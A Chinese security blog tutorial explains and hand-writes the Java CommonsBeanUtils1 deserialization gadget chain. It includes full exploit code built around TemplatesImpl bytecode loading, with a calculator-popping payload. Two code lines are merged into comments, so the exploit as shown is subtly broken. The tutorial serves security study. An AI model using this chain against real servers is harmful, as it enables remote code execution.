freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java CommonsBeanUtils1 反序列化手写 EXP
2022-07-23 12:45:04
所属地 浙江省

博客地址 https://drun1baby.github.io/

Java CommonsBeanUtils1 反序列化手写 EXP

0x01 前言

因为后续的漏洞利用当中,CommonsBeanUtils 这一条链子还是比较重要的,不论是 shiro 还是后续的 fastjson,都是比较有必要学习的。

在已经学习一些基础知识与 CC 链的情况下,最终链子就可以自己跟着 yso 的链子利用走一遍写 EXP 了。

0x02 环境

jdk8 不受版本影响均可
其余环境如下所示

<dependency>
 <groupId>commons-beanutils</groupId>
 <artifactId>commons-beanutils</artifactId>
 <version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
 <groupId>commons-logging</groupId>
 <artifactId>commons-logging</artifactId>
 <version>1.2</version>
</dependency>

0x03 CommonsBeanUtils 简介

Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean

  • 以 Utils 结尾,一般这都是一个工具类/集

先说说 JavaBean 的这个概念

这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。

关于 JavaBean 的说明可以参考廖雪峰老师的文章

CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:

比如 Baby 是一个最简单的 JavaBean 类

public class Baby {
    private String name = "Drunkbaby";

 public String getName(){
        return name;
 }

    public void setName (String name) {
        this.name = name;
 }
}

这里定义两个简单的 getter setter 方法,如果用@Lombok的注解也是同样的,使用@Lombok的注解不需要写 getter setter。

Commons-BeanUtils 中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下

import org.apache.commons.beanutils.PropertyUtils;

public class CBMethods {
    public static void main(String[] args) throws Exception{
        System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
 }
}

image

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。

0x04 CommonsBeanUtils1 链子分析

  • 还是和之前一样,进行逆向分析。这里的链子和 CC4 的前半部分链子是基本一致的。

1. 链子尾部

我们链子的尾部是通过动态加载 TemplatesImpl 字节码的方式进行攻击的,原因很简单:

在之前讲动态加载 TemplatesImpl 字节码的时候,我们的链子是这样的

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

在链子的最开头 ————TemplatesImpl.getOutputProperties(),它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的PropertyUtils.getProperty()方式获取,

这里我们的PropertyUtils.getProperty()对应的参数应该这么传

// 伪代码
PropertyUtils.getProperty(TemplatesImpl, outputProperties)

2. 中间链子

上一步我们说到尾部是PropertyUtils.getProperty(),我们就去看看谁调用了PropertyUtils.getProperty()

image

这里的 compare() 方法比较符合条件,因为它经常被其他方法所调用,作为链子的一部分来说,我们是很喜欢这种方法的。

继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了PriorityQueue这个类。

PriorityQueue这个类的siftDownUsingComparator()方法调用了compare()

image

继续找谁调用了siftDownUsingComparator()方法,发现在同一个类中的siftDown()方法调用了它。

image

  • 同样,发现同个类下的heapify()方法调用了siftDown()方法

image

如法炮制,直到最后能够找到入口类为止

3. 寻找 readObject() 的入口类

我们在寻找谁调用heapify()方法时,成功找到了readObejct()方法

image

到目前,我们一整条链子就找好了,链子流程如下。

PriorityQueue.readObject()
PriorityQueue.heapify()  ->
	
	PriorityQueue.siftDown()
	PriorityQueue.siftDownUsingComparator() ->
	
		BeanComparator.compare() ->
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
	->
			TemplatesImpl.getOutputProperties()
			TemplatesImpl.newTransformer()
			TemplatesImpl.getTransletInstance()
			TemplatesImpl.defineTransletClasses()

接下来画个流程图。因为前半部分和 CC4 是一样的,所以我们把它加到整个 CC 链里面去。

image

0x05 CommonsBeanUtils1 EXP 编写

yso 官方这里的话没有给出 CB1 链子的 Gadget,大概是人家觉得太短了没什么必要吧,我这里自己手写一遍 EXP。

CommonsBeanUtils1的链子又两个主要的部分组成:

  • 一部分是利用TemplatesImpl动态加载字节码。

  • 另一部分是通过CommonsBeanUtils中的PropertyUtils读取 getter 请求。

下面我们逐一讲解

1. 尾部链子 ———— 利用 TemplatesImpl 动态加载字节码

  • 我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图

image

可以看到在TemplatesImpl类中还有一个内部类TransletClassLoader,这个类是继承ClassLoader,并且重写了defineClass方法。

image

  • 简单来说,这里的defineClass由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

我们从TransletClassLoader#defineClass()向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。

我们尝试用TemplatesImpl#newTransformer()构造一个简单的 POC

首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
    public TemplatesBytes() throws IOException{
        super();
 Runtime.getRuntime().exec("Calc");
 }
}

字节码这里的编写比较容易,我就一笔带过了,接下来我们重点关注 POC 是如何编写出来的。

因为是一整条链子,参考最开始我们讲的 URLDNS 链,我们需要设置其一些属性值,从而让我们的链子传递下去。我这里先把 POC 挂出来,结合着讲。

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// 主程序
public class TemplatesRce {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, "_name", "Calc");
 setFieldValue(templates, "_bytecodes", new byte[][] {code});
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 templates.newTransformer();
 }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
}

我们定义了一个设置私有属性的方法,命名为setFieldValue,根据我们的链子,一个个看。

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

  • 主要是三个私有类的属性

setFieldValue(templates, "_name", "Calc");

image

显然,_name不能为 null,我们才能进入链子的下一部分。
链子的下一部分为defineTransletClasses,我们跟进去。

image

_tfactory需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtensionsMap(),如果是 null 会出错。

TemplatesBytes.class 这里是一个弹计算器的恶意类,代码如下

package src.DynamicClassLoader.URLClassLoader;

import java.io.IOException;

// 弹计算器的万能类
public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
 } catch (IOException e){
            e.printStackTrace();
 }
    }
}

弹计算器成功
image

2. 中间 EXP 编写

因为中间链子比较短,这里就直接写整段 EXP 了

在写 EXP 之前,我们先好好看一看BeanComparator.compare()方法:

image

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

所以如果需要传值比较,肯定是需要新建一个PriorityQueue的队列,并让其有 2 个值进行比较。而且PriorityQueue的构造函数当中就包含了一个比较器。

image

我们的 EXP 如下,最后使用 queue.add 就可以自动完成比较是因为 add 方法调用了 compare 方法,如图。

image

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonBeans1EXP {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, "_name", "Calc");
 setFieldValue(templates, "_bytecodes", new byte[][] {code});
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 //    templates.newTransformer();
 final BeanComparator beanComparator = new BeanComparator();
 // 将 property 的值赋为 outputProperties setFieldValue(beanComparator, "property", "outputProperties");
 // 创建新的队列,并添加恶意字节码
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
 queue.add(templates);
 queue.add(templates);
 }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
}
  • 成功弹出计算器

image

3. 结合入口类的最终 EXP 编写

  • 此处我们需要控制在它序列化的时候不弹出计算器,在反序列化的时候弹出计算器,于是通过反射修改值。

先将 queue.add 赋一个无关痛痒的常量,再通过反射修改值即可,伪代码如下

queue.add(1);
queue.add(1);

// 将 property 的值赋为 outputPropertiessetFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整的 EXP 如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1FinalEXP {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, "_name", "Calc");
 setFieldValue(templates, "_bytecodes", new byte[][] {code});
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 //    templates.newTransformer();
 final BeanComparator beanComparator = new BeanComparator();
 // 创建新的队列,并添加恶意字节码
 final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
 queue.add(1);
 queue.add(1);

 // 将 property 的值赋为 outputProperties setFieldValue(beanComparator, "property", "outputProperties");
 setFieldValue(queue, "queue", new Object[]{templates, templates});
 serialize(queue);
 unserialize("ser.bin");
 }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
}

成功弹出计算器

image

0x06 小结

这条链子比较简单,我的建议是自己可以完完全全地手写一遍 EXP

0x07 参考资料

https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680
https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/

# web安全 # java反序列化 # Java代码审计 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录